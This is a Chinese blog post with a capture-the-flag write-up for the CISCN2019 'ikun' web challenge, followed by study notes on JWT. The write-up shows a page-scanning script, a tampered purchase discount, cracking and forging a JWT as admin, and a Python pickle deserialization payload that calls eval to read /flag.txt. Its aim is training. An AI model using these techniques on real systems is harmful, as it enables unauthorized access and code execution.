我不爱篮球-基尼太没

[CISCN2019 华北赛区 Day1 Web2]ikun

不得不说 CISCN的题目质量真的可以
在这里插入图片描述
一定要买到IV6 我翻了进十页 还是没有找到
首先先注册,然后进行登录

在这里插入图片描述

LV6准备用脚本跑一下
查看url进行编写脚本

http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/info/2
import request

for i in range(1,1000):
      url =  "http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/shop?page={}"
      url = url.format(i)
      print(url)
      r = requests.get(url)
      if "lv6.png" in r.text and r.status_code == 200:
           print("find it:' ,url)
           break

在这里插入图片描述
在181页发现lv6

对购物车进行抓包
在这里插入图片描述
然后在这里进行改折扣
在这里插入图片描述
得到

	Location: /b1g_m4mber

访问页面显示只允许admin访问
意思就是需要改权限,JWT破解学习
先将JWT base64解码一下

{"alg":"HS256","typ":"JWT"}{"username":"123456789"}fgϷ݃U{x엖tɫ[

看到username是我自己的登录名 ,这里需要修改为admin 后面的乱码是因为经过了sha256,需要破解key
用jwt工具破解
在这里插入图片描述
然后伪造我们的jwt
网址:https://jwt.io/libraries
在这里插入图片描述
然后将JWT进行修改
在这里插入图片描述

在HTML页面发现压缩包
在这里插入图片描述
在代码中找到反序列化的地方
在这里插入图片描述

Pickle协议

在这里插入图片描述

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

在这里插入图片描述
然后传入become,就能得到flag

JWT笔记

1. JWT是什么

JWT全称为JSON Web Token是一个开放标准 (RFC 7519),它定义了一种紧凑的,自包含的方式,用于作为JSON对象在各方之间安全地传输信息,该信息可以被验证和信任,因为他是数字签名的

2. 什么时候用JWT

Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用。
Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改。

3. JSON Web Token的结构是什么样的

jwt由三部分组成,他们之间用圆点(.)连接,这三部分分别是

Header payload signature

举一个例子 JWT
xxxxx.yyyyy.zzzzz

Header
header典型由两部分组成: token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
用Base64对这个JSON编码就得到JWT的第一部分

Payload
它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。

Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
Public claims : 可以随意定义。
Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。
对payload进行Base64编码就得到JWT的第二部分

Signature
重要信息不要放在JWT中的payload或header中。除非他们是加密的
为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。

例如:

HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方。

4. 基于Token的身份认证 与 基于服务器的身份认证

1. 基于服务器的身份认证

传统的服务器身份验证:

  1. HTTP协议是无状态的,也就是说,如果我们已经认. 证了一个用户,那么他下一次请求的时候,服务器不知道我是谁,我们必须再次认证
  2. 传统的做法是将已经认证过的用户信息存储在服务器上,比如Session。用户下次请求的时候带着Session ID,然后服务器以此检查用户是否认证过。
  3. 这种基于服务器的身份认证方式存在一些问题
    ·1. Sessions : 每次用户认证通过以后,服务器需要创建一条记录保存用户信息,通常是在内存中,随着认证通过的用户越来越多,服务器的在这里的开销就会越来越大。
    2 .Scalability : 由于Session是在内存中的,这就带来一些扩展性的问题。
    3 . CORS : 当我们想要扩展我们的应用,让我们的数据被多个移动设备使用时,我们必须考虑跨资源共享问题。当使用AJAX调用从另一个域名下获取资源时,我们可能会遇到禁止请求的问题。
    4. CSRF : 用户很容易受到CSRF攻击。

2. JWT与session的差异
相同点是,他们都是存储用户信息,然而,session是在服务器端的,而JWT是在客户端的
session方式存储用户信息的最大问题在于讨战容大量服务器内存,增加服务器的开销
而JWT方式将用户状态分散到了客户端中,可以明显减轻服务端的内存压力
session的状态存储在服务器端,客户端只有session id ,而Token的状态是存储在客户端

3. 基于Token的身份认证是如何工作的
基于Token的身份认证是无状态的,服务器或者Session中不会存储任何用户信息。

没有会话信息意味着应用程序可以根据需要扩展和添加更多的机器,而不必担心用户登录的位置

虽然这一实现可能会有所不同,但其主要流程如下:

1.用户携带用户名和密码请求访问
2.服务器校验用户凭据
3 .应用提供一个token给客户端
4.客户端存储token,并且在随后的每一次请求中都带着它
5.服务器校验token并返回数据

注意
每一次请求都需要token
token应该放在请求header中
我们还需要将服务器设置为接受来自所有域的请求。用Access-Control-Allow-Origin: *

4。 用Token的好处

  1. 无状态和可扩展性:Tokens存储在客户端。完全无状态,可扩展。我们的负载均衡器可以将用户传递到任意服务器,因为在任何地方都没有状态或会话信息。
  2. 安全:Token不是Cookie。(The token, not a cookie.)每次请求的时候Token都会被发送。而且,由于没有Cookie被发送,还有助于防止CSRF攻击。即使在你的实现中将token存储到客户端的Cookie中,这个Cookie也只是一种存储机制,而非身份认证机制。没有基于会话的信息可以操作,因为我们没有会话!
  3. 还有一点,token在一段时间以后会过期,这个时候用户需要重新登录。这有助于我们保持安全。还有一个概念叫token撤销,它允许我们根据相同的授权许可使特定的token甚至一组token无效。

5. JWT与OAuth的区别
·1。 OAuth2是一种授权框架 ,JWT是一种认证协议
4. 无论使用哪种方式切记用HTTPS来保证数据的安全性
5. OAuth2用在使用第三方账号登录的情况(比如使用weibo, qq, github登录某个app),而JWT是用在前后端分离, 需要简单的对后台API进行保护时使用。
6.

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值